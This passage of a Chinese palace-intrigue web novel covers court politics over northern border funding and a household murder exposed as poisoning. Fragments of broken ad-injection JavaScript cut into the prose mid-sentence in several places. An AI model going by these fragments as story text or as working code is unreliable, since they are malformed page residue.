很好,荆楚歌知道了,荆府绝对有老头儿的眼线,而且还不止一个。 老头儿吹胡子瞪眼,在院子里铺开一整片草药,搁在一大块粗麻布,细细拨弄,将那些半湿不干的褐草摊开:“那天起了火,幸亏还给你机灵了回儿,不然烧死了也没什么人心疼!” 荆楚歌抬起下巴,表情甚是倨傲,“胡说,我舅舅肯定要心疼的。” 老头儿嘴唇动了动,浑浊的双眼里好像有一段锦织交错的流光一晃而过。那短暂的光掺杂了不可置信和疑惑,最终却似描上了翅膀的轮廓,刹那间便融入了天边的风,檐边的雪,叫人摸不到痕迹,消失得无影无踪。 “他可是眼巴巴等着我能进秦王府,多多为他吹吹枕头风,怎么舍得我这么快就死了呢。” 老头儿听了便不说话了,只是慢慢地操持着手上的动作。 荆楚歌看他似是在配药,不由得多看了几眼。紫珠散,降香末、生南星、煅龙骨……这八成就是止血定痛的药方了。 荆楚歌虽未正经上过学堂,也从未和那些少爷小姐一起启蒙识字,但她有一个神秘的好老师,精通武学、经史和政治,也并非荆楚歌眼皮子浅,满郢都的才华加上都不及老头儿的一半。 老头儿真正算是她的老师。 “不管怎么说,你已经大了,不要随便给自己惹麻烦,在这个世道,须要明白明哲保身。” 荆楚歌却有点执着,她可不信这个世道就是躲了就能平安一生的,她固执道:“安伯,我以后一定会给你长出息的。” 老头儿也并不吃惊,只是劝道:“我也不需要你长什么出息,你平平安安长大,以后有婚配了,找上一个能为你遮风挡雨的良人,我也就没什么放心不下的了。” 荆楚歌愣愣地呆在原地,不知道他想做什么。 她慢吞吞地用脚尖踢了一下碎石块儿,抬起下巴望着老头儿:“安伯,可是我不想嫁人。” “又没谁把你手脚捆着,非要你嫁给人家。”老头儿吁出一口气,指了指杵在角落里的那把剑,剑是好剑,只是无人能用,使宝物蒙尘,“好吧,你要长出息就长出息吧,剑和宅子留给你,就当是你及笈的贺礼。记得,以后要是有麻烦,一定要去北边,我就住在那边,跨过茫茫的呼和山脉,底下有一片草原,她叫呼和兰。你真诚地拥抱她,她同样会以真诚回馈你。” 新开张的药炉药味袅袅,顺着老头儿的目光,荆楚歌发现自己快误了时辰,天际金乌沉沉,一晃眼竟已到了黄昏。 荆楚歌急急起身,赶紧往回跑,在巷子里抄近路,她轻功不错,老头儿也夸她有点天赋,踩着墙沿,衣袂拂过着屋上的吻兽,终于在后院落锁前回了雪梅园。 夕阳下的屋宅一片宁静,积雪初融,淅淅沥沥淌着细水,梅园的花蕊也渐渐淡了香味,取而代之的是和风中浅浅的甘甜味,是许多其他花香夹杂的香气。 “表小姐,这是六殿下派人送来的金钏。”侍女站了两列,中间管事的女使站得端正,手上端着红木匣子。 金钏并不多见,一般是戴在胳膊上显示女子的英气豪爽。以往什么材质的都有,女子佩戴毫无禁忌,只是到了现在,奢靡之物横行,金钏便成了权贵之间象征地位的豪物。 譬如这只镶着红宝石和象牙的金钏,一看就是搜刮民脂民膏得来的。只是这东西不拿,难免肥了他人的口袋,好歹是一顿鞭子混来的,不收着也是自己难受。 “你放那儿吧,慢走不送。”荆楚歌气喘吁吁地倒了一杯茶,桌上收拾得干净,看来是走后有女使过来收拾。 红木桃花桌上摆着四个莲花杯,壶里泡的雨山云雾,荆楚歌刚尝了一口,感觉味道不太对。 现在不送药了,直接把迷魂汤下到茶水里了?要不是和安伯学了几年药理,耳濡目染了一些——其实老头儿是让她被迫接受的,在各种毒药堆里打滚,荆楚歌想活命可不敢敷衍。 打头的女使是掌事,她施施然朝荆楚歌又行了一礼,道:“表小姐,这位是夫人给您准备的,她说平日您爱喝这个,我们这些做下人的,以前有眼不识泰山,还望您见谅。” “无论如何,老爷和夫人都是您的长辈,那可是血浓于水的情分,您不要任性,多听长辈们的话才对。” 荆楚歌指尖发凉,这算得上是明晃晃的威胁了。她往后退了一步,冷冷地瞥着围观的人。 还知道自己是长辈呢,给自己的小辈灌迷魂汤,灌着灌着把自己都灌信了吧。 荆楚歌上前一步,正好走到桌前,只见她手起手落,扬手就把桌上的茶水掀了。 她素来不梳复杂的环髻,一是因为她手笨,二是觉得不方便。 瓷器的盏碟碎了一地,那杯盏摔得远,碎 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 瓷片裹着碧清的茶水溅得满地都是。 她目光平静坦然,慢悠悠地抽回不沾半滴茶水的衣袖,顺道还抚了抚发髻,“我不爱喝这些,你自去告诉舅舅和舅母,我素来不喝这些,我母亲活着的时候也不曾享受过这些好茶叶,现在倒是巴巴地送过来了,怕不是有点晚了。” 掌事的女使没想到这向来不受宠的表小姐竟如此大的气性,一时傻了眼,顾不得自己那双新穿上的翠缕湖蓝锦面的宝珠鞋也沾上了脏兮兮的茶水,习惯性地就要上前打她。 她听夫人骂得多,这表小姐不同于寻常人,是一个不晓得知恩图报的主。以前这表小姐的母亲还未过世,这小姑娘眼巴巴地求过夫人,只是夫人嫌脏不曾理会,哪知没多久就去世了。 这小姑娘也是性子倔,抱着她母亲的牌位死都不肯松手,十根手指都抠烂了,血流如注,弄的那牌位上满是鲜血,硬是没哭出一声。 荆楚歌既不哭也不闹,只是哀怨地看着,死气沉沉地看着眼前的一卷草席,看着自己的母亲了却残生。 荆楚歌稳稳地握住对方的手腕,要落不落的巴掌迟迟落不下,掌事女使面子上有点挂不住,“小蹄子,居然敢这么对我说话,我传达的可都是夫人和老爷的意思,你连他们的话都不听了么!我不过是敬着你表小姐的身份,哪知你这么不知好歹。” “放肆,我是主子你是奴才,胆敢在我面前作妖,打死你这刁奴也是应该的。”荆楚歌手上的劲大了些,动作连同着眼神纹丝不动。 她语气威严且不容置喙,往日她是人人可欺的羊羔,可自从有了秦王的另眼相待,她便把尾巴翘到天上去了。如今秦王殿下还亲自派人将这金钏送到府上,秦王殿下将荆府的几位小姐都视作无物,可见这表小姐定是学了她娘狐媚的招儿,不然怎会如此之巧合。 她荆楚歌能有什么过人之处,居然能眨眼攀上高枝,若是没有偌大的荆府给她作支撑,谁会要一个天煞孤星似的孤女! “来人,既然她这么不识好歹,就把这金钏砸了。有什么后果,我与夫人说,绝对不会让你们难堪。” 无人敢动,掌事女使表情更难看了,时而发青时而发红,她只好亲自动手。 “别以为有了六殿下给你撑腰你就天不怕地不怕的,你如今还是在荆府,夫人和老爷依旧是你的天。”说着,这掌事女使便把金钏砸得稀烂。 荆楚歌冷眼旁观,她知道这女使也只是一个可怜人,不过是一个冒出来当枪杆子的出头鸟。 荆夫人是打算给一巴掌再给一颗甜枣么,先让自己的近身侍女顶撞在前,然后理所应当地将出言顶撞的下人处置了,她自个儿好当这个好人。 如果是荆老爷出手就更好了,省得她脏这个手。 “你是在心疼你的主子么。”荆楚歌眼睛眯了起来,只觉得好笑,“你毁坏亲王的信物,影响荆府与六殿下的往来情意,老爷知道了,怕是不会放过你。” “我可是夫人身边伺候十年的老掌事……” 荆楚歌无情嗤笑:“那又如何,是老爷要杀你,又不是夫人要杀你。” 女使这才明白自己惹上了塌天大祸。 12. 国公出浴 楚国公府的书房里,裴谦轻衣缓带,胸口敞着半边,让一旁伺候的侍女都忍不住频频低头。 国公爷慵懒地躺在软塌上,翻着案上的文书。 男人的声音低沉魅惑,散漫至极,“茶。” 听到国公爷的吩咐,侍女面色羞怯,白皙娇俏的脸庞浮现朝霞般的红晕,小姑娘手上捧着玉盘,细声细气地应了一声,走到男人跟前终于不小心把茶壶里的茶水抖了出来,意料之内地洒了裴谦一身。 裴谦成功注意到这位侍奉的少女,豆蔻年华,体量娇小,手指如玉琢,微微曲着似乎有点不知所措,像一段弯折的清浅月光。 少女含羞带怯地想要抽出帕子为国公爷擦拭,纤纤玉指抚过那雪色长衣,还未触碰到肌肤,两人距离骤然拉远。 “以后不用进书房伺候了。”他淡淡微笑,索然无味。 少女失神片刻匆忙退离书房,浮光掠影的假想温存也使她身心荡漾。 文书都是清晨刚送来的,他百无聊赖地翻着一叠叠文书,没过一会儿,表情里便带了沧桑的疲惫感。 裴谦打起精神,将文书飞快地翻过一遍。他手里拿着关于北线当前的战略分析,幕僚们已经写了节略,并无不妥之处。 洋洋洒洒总结了北地局面,呼和人频繁出没在北线,意图抢占草场,诸如此类。结尾只留下一行朱红的字批:我军严阵以待,粮草充足,即使有重大战事发生,也有应对能力。 呼和在他们的语言里可理解为“散落的明珠”,游牧民族的一大特点就是善于骑兵作战,且战线拉得极短,如闪电迅风,短短几日战事便有了结果。 他察觉到了不对,指尖缓缓划过文书的页尾,好像透过书案描摹出山脉的走向和轮廓,“呼和山……呼和兰……” 裴谦咬了咬舌间,迅速将军报都翻了出来想要证实自己的猜想。 呼和人散布在草原上,结伴而居住,常年在马背上。 两山阻隔,翻越高山并不方便。地势险要,就算夺下地盘也难以长驻。可南北两侧气候完全不同,北面极寒南面潮湿,故而南面草场丰盈,适合圈马。由此,草场成了兵家必争之地。 但早在几年前,呼和人几乎已经放弃了此地,但现在怎么又突然跃跃欲试。 “国公爷,到时辰了,已为您备好了马车。”书房总管弯腰轻声说道。 国公爷皱了皱眉头,伸了个懒腰准备起身,“我的侍卫呢?怎么不见他传信回来?” “兴许是太忙了,耽搁一两日也不是什么大事。”书房总管赶紧奔去,搀扶着起身的裴谦。 裴谦夺门而出,冷笑一声,心道八成是在乱花丛中迷了眼,早就不认得回来的路。 楚国公府的后院装潢精致,细细品来别有一番趣味。游廊曲曲折折绕着荷塘边沿,刚入春不久,碧池一汪青玉似的湖水,湖上有四角飞起的游亭,一路朱红栏杆,雕花四砌。 女人脱下薄丝绒斗篷,露出线条柔和的脸,她轻车熟路地走向书房,一路无人敢阻拦。 “不必通风报信。”她嘱咐书房外的侍女,她今日就是要看裴谦这臭小子什么时候回来。 两三个穿着薄樱香云纱的侍女走上前,一个取出一整套白玉细瓷的考究茶具,一个从木案上端起锦盒,用木镊子小心细致地取出香气扑鼻的含雪云松茶,还有一个将炉子上烧得滚烫的水提了过来。 末了侍女将小厨房新做的八宝云片糕和糖水也端了上来。八宝云片糕是楚国公最爱的点心,难得有贵人喜欢这种粗粝口感的吃食。 年轻的女人坐于榻上,身着干练的窄袖垫着青玉手靠,姣好的面容上浮现着一派浓愁。她浅皱着眉,闭目养神也并不安稳,时而抿唇时而叹息成音。 她常年困在宫墙里,却又不同于眼界有限的嫔妃。 裴欣出身楚国公府,是老国公家的长女,在胞弟尚未长成之际便深入宫闱,此女灵巧细腻,起初在皇后跟前侍奉左右,后步步青云,时至今日已得从三品的官衔,如有后劲,很快就能肩并男子步入朝堂。 许多不明所以的外人都为这位奇女子鸣不平,毕竟胞弟只是一个不求上进的纨绔子弟,若姐弟相得益彰,二子必能光耀门楣。 裴欣早已将这些身外之物不放在心上,比起光耀门楣,她更操心郢都的琉璃什么时候可以正式流入民间,满足普通百姓的使用。 今日出宫办一些公务,她难得回一趟自家府邸,看着书房里堆积成山的公文,裴欣似是职业病犯了,径直走到书案前坐下,提着笔便开始批阅。 这面上是堆积多久的公文,竟让他活得如此潇洒,裴欣脸色越来越来难看。虽知道自己的弟弟是什么德性,可百闻不如一见,竟在烟花巷柳泡成这个闲散模样。 他是不知道自己的身体什么样么,也不知道药有没有按时吃。 裴欣突然感到一阵心痛,她意识到,孩子依旧是孩子。没有了父母,她跟裴谦分别是一个人和一个人,同在一片天下的郢都,仍旧聚少离多。这孩子野惯了,怎么照顾得好自己呢。 裴欣沉吟片刻,心道看来是时候为他安排一些门当户对的世家小姐和王侯贵女相见,万一看对眼了,将来日子长了还能有个伴。 裴谦回府时浑身裹着脂粉酒气,虽只是喝了点酒并未做什么出格的事,但听见阿姐回来,多少有点心虚。 他沐浴完直奔书房,头发来不及晾干,湿的一片像闪着光的锦缎,散漫地披在身后,悄悄氲湿了月白裳衣。 夭夭桃李,灼灼辉光。 裴谦脚步轻快,风撩起他的衣袍,丝绦飞舞若举,“阿姐,今日怎的有空出宫,是特意来瞧我的么。” 这便是问也问多余了,裴欣自然是没空出宫的,姐弟两人除了宫宴和公事,基本没有见面的机会。 她身居高位,走在吃人不吐骨头的偌大宫廷里,如若没有玲珑剔透的心肝,早就变成人家嘴里的骨头渣。 妍嫣灿烂的光芒融入天光,在她的笑容里缓缓淡薄,化为模糊不清的暮色,“若是再不来,你怕是又要惹出大麻烦了。”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>“不过是……喝喝酒,看看戏,怎么惹麻烦呢?”裴谦开始赔笑,目光悄悄落在书案那堆混淆视听的公文上。 裴欣伸出手,招手的姿势灵便而高贵,“李素不是你想动就能动的。这人背景复杂,在郢都的官场里如鱼得水。” 裴谦凑近的脚步一顿,一听到那名字眼眸里冷意更深三分,“我也是有苦衷的,阿姐。明光营算得上是北地的最后一道防线。若是呼和人攻破,不到三天便能杀穿郢都。” “我必须得找一个能吐出钱的户部尚书。” 裴欣眼波流动,稍稍有些动容,她知道自己的弟弟是什么性子,平日里不显山露水,可碰上了原则性的问题,必定要坚定立场的,“你这是何必,明光营虽从前是你部下的主力,可你如今在郢都,顶多是占了名头上的便利,名义上是管着,但并无调用之权,这么大费周章,何必呢?” 裴谦莞尔一笑,“但凡咽得下这口气,我便是无话可说。以往多少次不都是睁只眼闭只眼就过去了。可这一次,我偏不。” 裴欣端起茶杯,缓缓吹了口气,入口尽是苦涩,正如同此刻她复杂不堪的心情,“所以你开始查青州的账,以此大作文章。且不说时间过去多久,就算是皇上有心收拾这个烂摊子,旁的世家虎视眈眈,肯定会从中作梗,回避这个问题。” 裴谦自顾自地捡起阿姐跟前的云片糕,小厨房的云片糕味道从未变过,和从前的味道并无二样,“皇上等待这个机会也等了好久吧。当前局面僵持,无人敢打破。于圣上而言,只是缺少一个蓄势待发的时机。这件事就应该摊在明面上,那些人不处理也得处理。阿姐,你在宫里主持大局,对那些账目也是一清二楚的。” 裴欣有点看不明白他究竟在想什么,“你小心惹祸上身,承影,你之前是这么劝解六殿下的,事到如今我也想这般劝解你。” “阿姐,大厦将倾,唇亡齿寒。”裴谦低下头,窗外照进一般光亮,落在他的衣袍上,他身站在阴翳中,“我不想跟父亲和母亲他们那样了。” 这是裴谦这辈子最难释怀的胜战,那是令人厌恶的胜利。经此一战,众人只看见鲜衣怒马功成名就的少年将军,却无人看见他失去了曾经最引以为傲的老父亲。 他父亲被系在权力的金柄上,被时局牵扯了大半辈子,最后为国征战却落得身败名裂的下场,险些连封号都保不住,最后靠着旁人的仁慈才换来家门的宁静。 风云散尽后,被束缚的人又换做了他。 “承影,我只想要你平平安安。”裴欣抓起他的手,看着这孩子倔强又阴鸷的模样,她心中隐隐担忧,“我只盼你不要太堕落,又不希望你……与那些世家大族和王室有牵扯。” 在裴欣心里,他永远是那个糯米团子似的幼童,会偷偷在小厨房里翻糖罐子,会求她出门买饴糖,会抱着木剑摇摇晃晃地炫耀自己学的新招式。 可她忘了,承影班师回朝的那一年,北地连着郢都连着下了十日的大雪,从前的孩童兴许早就死在那场惨绝人寰的残酷暴雪中。 13. 众矢之的 “不说那么多无用的,阿姐这次来还有一件非常重要的事,想与你商量商量。”裴欣倏尔想起了别的,她有意与裴谦讲一些柔软的言语,好以后能娶个温柔贤良的大家闺秀。 如此一来,裴欣便觉得自己轻松自在多了。 自己若是在波云诡谲的宫中不幸一命呜呼,好歹有心上人陪他走完一辈子。 裴欣伸出指尖,轻轻戳了戳弟弟那披散在肩头的乌发,那绸缎似的长发湿漉漉的,也不怕湿气入体,“你这副德行,还是多收敛些吧,你这样儿,有哪个人家的好女儿愿意嫁与你,到时候孤独终老了,看你找谁哭去。” “阿姐,你自己还是多操心操心自己,我还比你小上几岁,千万不要太在意我的良配。我每日这般吃酒玩乐,不知道有多潇洒。”裴谦一顿唏嘘,发现阿姐并不在意自己混吃等死的纨绔日常,便变本加厉地放大自己的徒有其表一肚子草纸的属性。 “那你跟我说说,你有喜欢过什么人没有?” 在裴欣殷切热诚的注视下,裴谦下意识地摇头,表情坚毅,不容置喙。 裴欣暗暗叹了口气,只觉得有些可惜,但与此同时却又庆幸,看来不曾祸害别家好姑娘,“那你跟我说,你喜欢什么样的姑娘,我替你看看。” 裴谦不知怎的,突然想起了站在火光前有些狼狈的少女,她那双绝境逢生后闪烁发亮的眸子。 仿佛邂逅了惊心的美景,迤逦淡淡的夜色中暗流涌动,她倔强的身影在火光中摇晃立起,北地深冬突寸草不生,悬崖峭壁之上只生一种火红炽烈的花,风雪里矗然不动,胜过娇嫩春花。 可裴谦征战多年的直觉告诉他,这个女孩说不定就是棋局的变数,意料之外的事物,断不可留。幸而他们只有一面之缘,那女孩,怕不是再也没有见面的机会了。 “我喜欢……我不知道我喜欢什么样的姑娘。”裴谦含糊其辞,他也不知道自己该喜欢什么样的女孩,那女孩又是什么性格。 不对,裴谦神思潜游,她笑起来会是什么样子?裴谦不知不觉中想得有些入神。 裴欣突然站起,老道地伸手拉下了厚重的帘幕,将最后一点光线阻隔在外。看这孩子满面春光的模样,果真是死鸭子嘴硬!从前裴谦订过婚事,可惜有缘无份……最后竟是谁都不能提也不敢提。 裴欣语重心长地道:“你悄悄告诉我,阿姐替你问问。” 裴谦颇为难为情地转过头,不想继续这个话题,“等秦王殿下娶亲了你再来操心我吧,他们都不急,我急甚。堂堂国公,自然要以朝堂事务为重,怎能流连于儿女情长。” 裴欣半真半假地睨了他一眼,也不愿意再跟他多计较。 裴谦咳嗽了两声,细细看来,初浴后模样清秀,褪去大半盛气凌人的模样,竟生出几分乖巧的意味来。 他身有旧疾,偶有发作,那是在北地作战遗留下来的祸根,北地的毒中原无人能医治,“何况我现在……这身体,阿姐你又不是不知道。” 活得了多久呢,谋权一日便算一日。 到时辰了,她今日的休沐到此为止。 她站起身,绛紫华袍奢贵而低调,裴谦看着她的身影,伤感不自觉地涌上心头。那背影逶迤着一抹孤寂的沉敛,黑发慢慢地飘散开来,带走一缕含混着晚霞的萧瑟冷风。 宫廷中是天下最残酷的地方,生死都在当权者的一念之间。 她既已选择举身赴宴,那自然是无畏于狂风暴雨。女子虽身躯单薄,但依旧有能力撑起家门荣华。 这一晚月色极好,银光透彻,千里星云涌动天河,庭院地面白亮如霜,人的影子映上去,留下一个鲜明的剪影。 送走裴欣的车驾后,他也一刻不得闲,马上动身去了秦王府。 裴谦下车,走在一群王公贵族里,八面玲珑,同那些公子哥们谈笑风生。 一个少年走了过来,步伐轻快有力,年纪比在场的大多数人都要轻,一身紫罗王袍紫金冠,腰间悬着九螭白玉佩。 “来得早不如来得巧,承影兄。”少年人笑了起来,他声音爽朗活泼,正是这个年纪该有的模样。 裴谦轻笑,朝他招了招手,温和道:“什么时候回郢都的?也没人通报我一声,这下接风洗尘都没我的份,你也是舍得,就这么把我晾在一边。” “承影,我怎么可能做出这样的事呢。我回来得仓促,一接到圣旨马不停蹄地往回赶,跑死了两匹快马,圣旨上都是一些莫须有的东西,也不说到底出了什么事,我一路担忧,这才都没作安排。” 皇帝年迈,郢都风波不断。九殿下孟昭是皇帝膝下最小的儿子,母妃去世不久,他便早早去了封地,从不伸手帝都的琐事。 张记清踱步而至,他依旧举着不离手的青竹叶折扇,踩着月下如雪的清影,似与他清流人士的身份相得益彰,“九殿下孝心昭然,当真是为人子女的楷模。” “阿清,怎么,多年不见,说话变得文绉绉的,我都不习惯了!”孟昭爽朗大方地拍了拍张记清的背,文人的风骨都要给这位小将军拍塌了。 “咳咳……”张记清感觉胸口的郁结之气都快被拍散了,“殿下,在下一介文流,您还是高抬贵手吧。” “几个人里面就你身体最弱,我走了也无人监督你,只怪你自己,我那套剑法你都忘了吧!”孟昭不满道。 张记清下意识看向一旁温文儒雅的楚国公。 打他回郢都后,连惯用手都换了,张记清对此猜测,兴许是伤了右手,却又不想将此事声张出去。 裴谦意识到冷场,便率先打破僵局:“说起来,那套剑法还是我教给你的,如今我也用不上了,到时候把余下的都教与你。” 张记清毫不犹豫地冷嘲热讽道:“国公爷,您现在还拿得动剑吗,您老都是秦楼楚馆有名的恩客了,花魁贝齿间旖旎娇唤的大好人啊,剑法什么的,跟您八竿子都打不着吧。” 语言之刻毒可见一斑。 裴谦脸不红心不跳,一本正经道:“那又怎样,追求女子的美丽那是天性使然,与我剑法好坏并无联系。记清兄与其关心旁人拿不拿得起剑,不如多留心自己。” “你还替 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 自己的多情找上理由了。”张记清笑容狡黠,乌黑的眼珠闪闪发亮,一副幸灾乐祸的模样。 隐约有华贵浓郁的香气飘来,孟询在众人的簇拥下隆重登场,灯光打在他的肩上,迸射出水色光华,令人挪不开眼。 他气宇轩昂,站在人群之中贵气逼人,像一株绽开的曼陀罗花,“不过是一场没甚水平的曲水流觞,来得这么整齐,到时候酒都不够喝,只能烦请各位出钱买酒了。” 打着曲水流觞的名义铺展募捐会,只要拿得出钱就能入会。 得益于裴谦放出了风声,这相当于向天下人张贴了英雄榜,有勇有谋者可得其位。 李素在朝中树敌广泛,但背后的崔家实力深不可测。早在数年前,崔家退隐江南,可威慑力经久不衰,纵使多年过去,依旧无人敢挑衅门第的权威。 如今太子党一派势在必行的模样,让许多人侧目以待有的人想趁乱端一碗水,也有人只是单纯地看一看热闹,尤其是隔岸观火的那些人,只等着两边分出了伯仲再效犬马之劳。 毕竟望族与王族的权衡纷争持续多年,旷日持久,也不在乎一两次的失利。 只要不是你死我活的境地,这场投机生意有什么不能一试? 说话的是一个年纪较长的宽袍男子,“都来沾沾六殿下的福气,喝酒倒是次要的,能一睹殿下真颜才是最要紧的。成日里抬头不见低头见,都是忙的琐事,哪有机会跟殿下谈一谈体己话。” 孟询摆手,笑道:“我能说什么话,靡靡之音无足挂齿。还得开春了,新的人考上来,又是一派新的景象。父皇今年开设恩科,广招人才,也是为了敦促我们这些读书不用功的人……也算是,正正风气。” 言外之意就是,皇上已经看不惯世家子弟如同蛀虫般啃食国家的公粮,天下大选才德兼备的文人入仕,也是在告诫庸碌的纨绔子弟们都收敛些。 只怪许多大家族后劲不足,让一辈子困在深宫的老皇帝能够在迟暮之年借机发难。 “既然加设恩科,那恩科的主考官,圣上有中意的人选吗?”蓄着胡子的华服男子捕捉到了有效信息。 孟询摇了摇头,轻描淡写地看向站在人群首端的裴谦,道:“自然是没有,但按陛下往日择选人才的手笔,应该也是在形中书院里选人。” 裴谦是主理人。当然,只是名头上的便利。 形中二字取自“形不正者,德不来;中不精者,心不冶。”意在劝勉君子要修明内德中正平和。 形中书院于本朝之初建立,早先云集天下才学之士,不分门第高低,只选才华卓越之辈,如今按照等级森严的录取习惯,形中书院逐渐变成了服务于官宦世家与皇家的书院。 于思宽将军单枪直入,看着众人嘴上不急不缓地叙一些无关痛痒的话,他甚是心急:“别的也就算了,我一个粗人,也不懂什么书院不书院,现下就等着朝廷给边防拨款,可李素那边迟迟不肯松口,既然等不来,只好靠着殿下的金面来筹钱。” 户部拿不出钱的事算是在郢都中成了不用宣之于口的秘密。 14. 自寻死路 冷风嘶嘶,月光寂寂。 荆楚歌披了一件雪白绵绸长袍睡衣,坐在窗前,既不描眉也不擦胭脂。事到如今,她也不怎么涂黄芪粉了,原先母亲在时强迫着她将脸用姜汁水涂黄,说是避人耳目。 可荆楚歌都没弄明白,到底是避谁的耳目。 她跟前放着一个老旧的木匣子,掉漆起皮,没有上锁。 其实上不上锁意义不大,里边没装什么值钱的物件,不过是一些闺阁诗词之类的玩意,荆楚歌对这些东西本没什么好奇心。 床头放着金钏换的银票,有了这一笔可观的财富,荆楚歌心中踏实了大半。 她把床头的银票拿来,准备放进这个箱子里,却又不小心从里头倒出一些碎纸片,还有一枚被磨平字迹的黄玉印章。 荆楚歌愣了愣,莫非是母亲生前的遗物,她之前都不曾见过。这是她掀了老院子的被单,收拾被褥不小心撞碎了枕头,从而发现的小木匣。 荆楚歌费尽心思拼凑,只可惜只是徒劳,拼着拼着,她眼前一亮似是有了些头绪——信笺上有暗金色的印记。 她的目光落到信笺末尾的一行字上,上面还涂抹着暗红的痕迹,荆楚歌用指尖磨了磨,似是干涸的血迹。 “卿何薄命,望安好。永嘉六年。” 是谁写的信?母亲保留至今,定然有她的一番道理。 忙了半夜,荆楚歌终于要躺下了,安生了好多天,她不敢太松懈。只是她也不大相信,谁会在这个节骨眼上来找她麻烦。 朦朦胧胧之间,荆楚歌半梦半醒,听见门外声音杂乱,有人在敲门。 “表小姐,不好了!正堂那边出事了。” “你不要急,慢慢说。”荆楚歌听见屋外有动静,迅速睁眼,踩着木鞋屐下床。 拉开门,眼前赫然是荆夫人身边的梅香。 “老爷要打死少爷!”梅香哭哭啼啼地跪在廊下,浓密的睫毛被泪水浸湿,硕大的泪滴从脸庞滑落。 荆楚歌皱了皱眉,老爷要打死少爷? 可是来找她有什么用?她过去求老爷网开一面?荆老爷会听她的话么?还是说,让她过去当垫背的? 梅香眼巴巴地望着荆楚歌,道:“白霜姑娘不知道怎么的,突然要寻死,说是怀了少爷的孩子,可少爷一口咬死自己没做过这样的事,白霜姑娘说自己被辱了清白,无论如何也没办法继续做人……” 桌上的一束百合花,已经干瘪了枝叶,花瓣也焦了边,一滴露珠无声无息地坠落。那是清晨花房送来的,荆楚歌不喜欢,随手放到了茶桌上。 “夫人自是不信,白霜姑娘便一头撞柱子上了,已经……快要回天乏术了。” 荆楚歌冷笑了一声,有些无可奈何:“也没人拦一下?” 梅香嚅噎道:“事发突然,大家都始料不及,加上……加上……” “加上夫人本身就不想让这个玷污少爷清誉的女人活着,所以也是睁一只眼闭一只眼。”荆楚歌气笑了,这荆夫人怎能这么轻易让受害者死了呢。 更何况,这白霜可是关键人物,受害者施害者的身份还有待商榷——白霜姑娘为什么会这么做,她有什么目的,或者说,是谁指使她这么做的…… 正堂内,荆玉兰正坐在侧首的红木梨花椅上垂泪哭泣,她拈着帕子,露出一角精致的立体绣纹,泪如雨下。 这四周还十分安静,此刻白霜一闹,就好像天地觉醒,整个荆府又热闹起来了, 荆老爷面色不善,他脸色铁青,赶到的时候,白霜便横尸当场,还这副衣冠不整的模样,顿时火冒了起来,轰的一下便烧断了脑子里的弦。 荆凌筠已经面朝着厅堂跪下了,脸上还留着颇为清晰的巴掌印。他皮肤不算白皙,是健康的小麦色,能印出新么清晰的掌印,看得出荆老爷是气极了,这一下丝毫没留余地。 荆玉兰哭道:“我那可怜的霜儿吧,她可是陪我一同长大的,怎能这么想不开呢……” “哥哥,你若是喜欢,纳她做妾,收作外室也好啊,你要了她的身子,还不肯给名分,要是传出去了,整个荆府的脸面还要不要了?” 荆夫人怒拍桌,斥责道:“住口,还轮不到你说话。” “一个婢女而已,听哥一句劝,你还是认了吧,别伤了父子情分,大伯也是为了你好。无外乎是玉兰姐姐吃个亏,你给玉兰姐姐赔个不是……” 一旁说着风凉话的是荆老二家的儿子荆绍轩,唤荆乔松为大伯,是荆凌筠的堂兄弟。 他们向来没什么来往,荆绍轩瞧不上荆凌筠好事占尽的傻模傻样,荆凌筠也瞧不上这位堂兄弟小人做派的假正经。 荆凌筠神情凄切,刚想挣扎,一旁两个护卫将他架得纹丝不动,“我没有!我从不曾做那些龌龊事!你不要空口无凭赖人清白!” “你住口!你还有脸怪你兄弟,拖出去打,打到认为止,不认打死算了!”荆乔松恨铁不成钢,上去就朝着荆凌筠的心窝子踹了两脚。 荆夫人扑上去抱住了蓬头垢面的儿子,荆乔松武将出身,平日里出手心中有数,这个时候气上心头,出脚全然不知轻重。 “老爷!老爷!他纵使该打,但还未查明真相,若是传出去了,惹得府里不安生可如何是好啊,再者,甘棠和楚歌也将将要嫁出去,家里出了这样的丑事,她们姑娘家的怎么在婆家立足。” 荆凌筠被踹得够呛,口里都喷出两口血,淅淅沥沥地从唇角淌下,听着母亲的话,他不由得瞪大了眼睛,“母亲,我从未做过逾矩的事,从未!” 荆乔松怒不可遏,也不顾上什么里子面子,指着荆夫人的鼻子破口大骂:“都是你教的好儿子!慈母多败儿!你看看你这儿子,给你养成什么东西了!” 一屋子人,均在一旁瞧着笑话,无人言语,无人劝解,神情漠然的眼底攒动着幸灾乐祸的光。 荆玉兰还在啜泣,她死了婢女,自然是悲痛欲绝,荆绍轩也不忘记落井下石,时不时还添油加醋说几句煽风点火的话。 荆楚歌挽了挽袖口,纵使是想到了场面之惨烈,但也未想过会惨烈成这样。她深吸一口气,揭开了笼罩在白霜脸上的白绢。 荆楚歌想到了夏天在田埂里 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 晒得炸裂的熟瓜,她俯下身探了探白霜的鼻息。 荆夫人看见荆楚歌频频皱眉,心中七上八下的,甚不畅快:“有话直说,又没人难为你。” 荆楚歌懒得搭理她,雪白的宽袖下,指尖一动,银针便扎入白霜的几处大穴。 这一招确实毒辣,整了个死无对证。 “稍等。”荆楚歌站起身,她若无其事地起身,“白霜姑娘晚上用过什么,吃食、汤药都算上,最好有剩余的呈上来,舅母若是还有气力,不妨跟着嬷嬷一同去取来。” 荆夫人半信半疑地起了身,她别无他法,只能先听荆楚歌的。 荆玉兰慢慢停止了啜泣,她语气浅淡,有些有气无力,只是那双婆娑泪眼似乎藏着什么秘密,眼底的光似是藏了一把锐利的剑,“白霜是跟下人们一块儿吃的,若是有问题,那岂不是一屋子的下人都要遭罪?” 荆楚歌知道这话是说给她听的,她将银针置于木托盘上的白丝巾中,道:“那岂不是,她知道自己中毒已深,已经无力回天,这才铤而走险给荆凌筠扣上一顶德行不端的帽子。” 银针顶端呈乌黑色,是中毒的迹象。 荆楚歌也是哭笑不得,无人查明真相,只是依靠着众说纷纭的结果给这个孩子定罪。 